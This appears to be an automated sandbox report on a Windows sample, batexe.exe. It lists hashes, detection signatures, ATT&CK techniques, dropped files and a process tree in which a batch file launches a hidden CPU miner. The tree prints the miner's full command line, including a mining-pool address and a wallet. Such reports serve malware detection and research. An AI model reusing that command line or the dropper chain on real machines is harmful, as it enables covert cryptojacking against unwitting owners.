73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
22/02/2024, 12:22

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General

Target
batexe.exe
Size 9.4MB
Sample240222-pj2s8aha3s
SHA256 73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
MD5 cdc9eacffc6d2bf43153815043064427
SHA1 d05101f265f6ea87e18793ab0071f5c99edf363f
SHA512 fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP 196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1712835645-2080934712-2142796781-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1712835645-2080934712-2142796781-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2860	b2e.exe
1932	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1932	cpuminer-sse2.exe
1932	cpuminer-sse2.exe
1932	cpuminer-sse2.exe
1932	cpuminer-sse2.exe
1932	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2636-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2636 wrote to memory of 2860	2636	batexe.exe	88
PID 2636 wrote to memory of 2860	2636	batexe.exe	88
PID 2636 wrote to memory of 2860	2636	batexe.exe	88
PID 2860 wrote to memory of 3920	2860	b2e.exe	89
PID 2860 wrote to memory of 3920	2860	b2e.exe	89
PID 2860 wrote to memory of 3920	2860	b2e.exe	89
PID 3920 wrote to memory of 1932	3920	cmd.exe	93
PID 3920 wrote to memory of 1932	3920	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2636
- C:\Users\Admin\AppData\Local\Temp\5B20.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5B20.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5B20.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2860
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5E8B.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3920
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\5B20.tmp\b2e.exe
Size 10.3MB
SHA256 001502e96df189df495f5e149c34013d120fe8a315d6e7030ea943e56267cae0
MD5 a14935715c385aa2a21e746d1ee75e92
SHA1 ea3b9744bfa90cbae3d30042cb9dbef36b6b27f3
SHA512 cb85c6bcfbc93446ce9ac0405904c98f696e6e63c07b4151cbc45b7bc83a280857457834ac60b7ac6534512aab735b755e8d61098cc7f8e02bd6c07c7c175040
SSDEEP 98304:2Vh7J/WrocAdkmBtKCLaDr/4Q8FD9Ck6jBVFh0ulRm6eqdInEgNf/Y:wWrJQ9CuKdInG
MD5 SHA1 SHA512 SSDEEP

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b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\5B20.tmp\b2e.exe
Size 3.8MB
SHA256 a1084912dfb6d3f28f37d68e0cf644b30d9ef20b286840c254027f19e753bcbb
MD5 00ce373b0ca33911aa57f79f0a4c6233
SHA1 142cd6db77f8834dd67a849b7c229a46db5e17c2
SHA512 df1a337c2479f4c438b910f865d53fd03451be0abeb2674e6c811e277303f8b0a57ed1fb3f39463f9d5cdf49d9714802122d7bd42445f2e912049a676c478f4b
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJG9nSti9/KKJSusjtZPPxtSVJF:2Vh7J/WrocAdkmBtKCLax
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\5B20.tmp\b2e.exe
Size 4.6MB
SHA256 c7efdafed754c736cb119eda9bd96403396eeb4c9a503c957a01e72fb625759c
MD5 d916da47cf1a8b13b07ad9c8ffdcca78
SHA1 28eec211eb4856cc3790f4830484c9ab03923d16
SHA512 ff3c3d54df6d4cd08f07aebbfc4878d945f79cf5dd993abb47443b11c89f87dfacf7beb9d8352b9175d1c2e01ad994374a48c4556e1286231a729c405c97313b
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJG9nSti9/KKJSusjtZPPxtSVJx:2Vh7J/WrocAdkmBtKCLaDrd
MD5 SHA1 SHA512 SSDEEP

Submit Download

batchfile.bat

Path C:\Users\Admin\AppData\Local\Temp\5E8B.tmp\batchfile.bat
Size 136B
SHA256 65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
MD5 8ea7ac72a10251ecfb42ef4a88bd330a
SHA1 c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA512 a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
MD5 SHA1 SHA512

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 48KB
SHA256 00edcc5183c7875f6130d52db05388a169402dcd7fc1270d051b4b8ed99420e4
MD5 bceefe8e3400183796c1b609b948c3ce
SHA1 755e21bd6a03110b1fd3775d6c53c59d9eaf2a65
SHA512 b7ff3a66cc6c043d6ba162377dc55de56bf57fc6f4953d65a9ae5a611dc2535a0916f746b1a4410676a173703f069f6dcaa1fff3eeaa84f5838e9da63ce6f1dc
SSDEEP 768:vAikINYjK91JaCQT2RUQkH0ptgBpzCsfXmhvNtpkDbcqxa5p/:MIKTiUQkHCYRtfXet2bM/
MD5 SHA1 SHA512 SSDEEP

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 61KB
SHA256 c8b0b1468ac90e86ffbb10cc940566a6d78a54e3bcb8ba0387f1c8df996bf196
MD5 eb3dafddb94df3a8e463beb3ffeccd8f
SHA1 66d60bbd75e3e202ef5c8aacfb183ade280c4830
SHA512 e7210a478aefed66cfb554bbf88eb8d2a14d91cf77728d37d7cad566bc4a9b8615da430749a27b8a3e47426aeae9639fb504d1235f2b07e18f07b43776c7bee4
SSDEEP 768:vAikINYjK91JaCQT2RUQkH0ptgBpzCsfXmhvNtpkDbcqxa5pGw5K3mkDTHz48Kkb:MIKTiUQkHCYRtfXet2bMG6wMo
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 163KB
SHA256 7159e55c25cb04eaa17fb5feb19756679da75a473c9c7ff486ba984bfc3633f6
MD5 7a34121a0a80975ba06b5d242f42f8ab
SHA1 54f7a2224a88894390b5df7d58bfa5b0faacd9aa
SHA512 a2be11f43953b8a453d0358d0566d738473bf9331fe4f3fbc829fd8e8e2b6901b6ebbf525a0c1bc31caa483187a71119a7441443e2d71cc35cbcf4436d5d39bd
SSDEEP 3072:GaN/00Cl6WVwdIlV7u+D7hTW/cggTsIBmRe0Li0yS:G6l05RRx7sVRe8
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 836KB
SHA256 218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
MD5 aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA1 5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA512 c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
SSDEEP 24576:xufMF9VdLNrjhHdLI8cUlOb1w4yYhJWOrXQB:cfMFhBr19LI87lOb1w4IOrXQB
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 64KB
SHA256 fd7191afdecd35b78a0c0ca0457cbbf42ffda1e52263cd785abca5f047b18825
MD5 7fcedb6e973c5df3b6652a2afafa6a13
SHA1 116728803559ab58a8127544df80b75a0dd1c6d2
SHA512 05c86bf84079a2cc13dc7a1a917a0839ccd2b18e0440c4bd419c99f65c4161ac69a9447f56bdf6051b2fbbc49b7556fc3717432d0e293dfae2921c0701fe64fd
SSDEEP 1536:K1l2Mm0uJuRfYo3q6aTxel1950rxMnY60mzfVj4ey7XLg:AbB3q81EOnYxmS7XL
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 1.2MB
SHA256 c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
MD5 7cf672bee2afba2dcd0c031ff985958e
SHA1 6b82a205db080ffdcb4a4470fce85a14413f3217
SHA512 3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
SSDEEP 12288:ynYk4yH15191n1q1x1c1vw6t8a1/hKhbhdhvh3hY6Dhch3hhCZ1c1eCJ1MC1+1MH:mnKt/wDm1nazZffMMcUvQlRg3J6f1SGK
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 4.2MB
SHA256 75718fcff6c6497f346c9d613a9dcf29e4fcac7f8512e082501825554f76e79a
MD5 017359d4713ca953fa0886f4a896f3e2
SHA1 9b00a1b9a4e64e03e0635f90dbc7bf12c7d5cc26
SHA512 63ec9a59dae3cfb0f49c7e1f7db7913840b53f6e54fcde422d7d2291c412a89525f0713471937a1e88ba772b7e393a17835ffff2d8b5e5b3f1ce5e9a015a3525
SSDEEP 98304:DGGvDsCt2HINpzk8sZg920ipTqP3eA9J8am:DGGvJ3K
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 3.9MB
SHA256 638c868d45a2bc35d6feec57a934693191733103422d4121fd2b0e5e75ac74cf
MD5 a66c9134e398e6d707653cf33be68478
SHA1 006f7988e7ce833b4a26b24d654fca32bfdd78a2
SHA512 dd0ee29e25c87586c3f0cb055254db3f7f3169975483bdf6f4d7936512d052b4838a62ff1a77dd90efb3fa96bc09ec4e4865c07f60248f756c245b2e01a4879f
SSDEEP 98304:DGGvDsCt2HINpzk8sZg920ipTqP3eA9J8Z:DGGvJ3+
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 3.6MB
SHA256 bab3f21fe94d25a4506d3c0f3e6c8d2c00c5517b7fdd22dc4f759a37e45bbee9
MD5 ee3d71edce31ce47e4a027297b0c5a61
SHA1 070357da30e793b37c21170f4e1afc5bb5f27ae3
SHA512 c3e6f45a203dae7141d9f80504705319e68061839e0b4220a6aee494e8148382eed0d9c6cf7a94cb3522422f9f1bf88693002bbb230dc166d5500dadbb1fae5c
SSDEEP 98304:DGGvDsCt2HINpzk8sZg920ipTqP3eA9J8+:DGGvJ3r
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll
Size 606KB
SHA256 2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
MD5 585efec1bc1d4d916a4402c9875dff75
SHA1 d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA512 b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770
SSDEEP 12288:IrAim3Y9lrzf34z//KRwwtkIr1PznEcyJwV2Zug8UYWTh4x:IrAim3Y9lrzf34z//KRwwtkIr1PzEcy8
MD5 SHA1 SHA512 SSDEEP

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memory/1932-74-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/1932-59-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/1932-45-0x0000000061440000-0x000000006156B000-memory.dmp

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memory/1932-44-0x0000000070800000-0x00000000708BC000-memory.dmp

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memory/1932-46-0x000000005B4F0000-0x000000005B588000-memory.dmp

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memory/1932-43-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/1932-47-0x0000000001120000-0x00000000029D5000-memory.dmp

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memory/1932-48-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/1932-104-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/1932-99-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/1932-64-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/1932-94-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/1932-79-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/1932-84-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/1932-89-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2636-8-0x0000000000400000-0x000000000393A000-memory.dmp

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memory/2860-9-0x0000000000400000-0x0000000000405000-memory.dmp

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memory/2860-53-0x0000000000400000-0x0000000000405000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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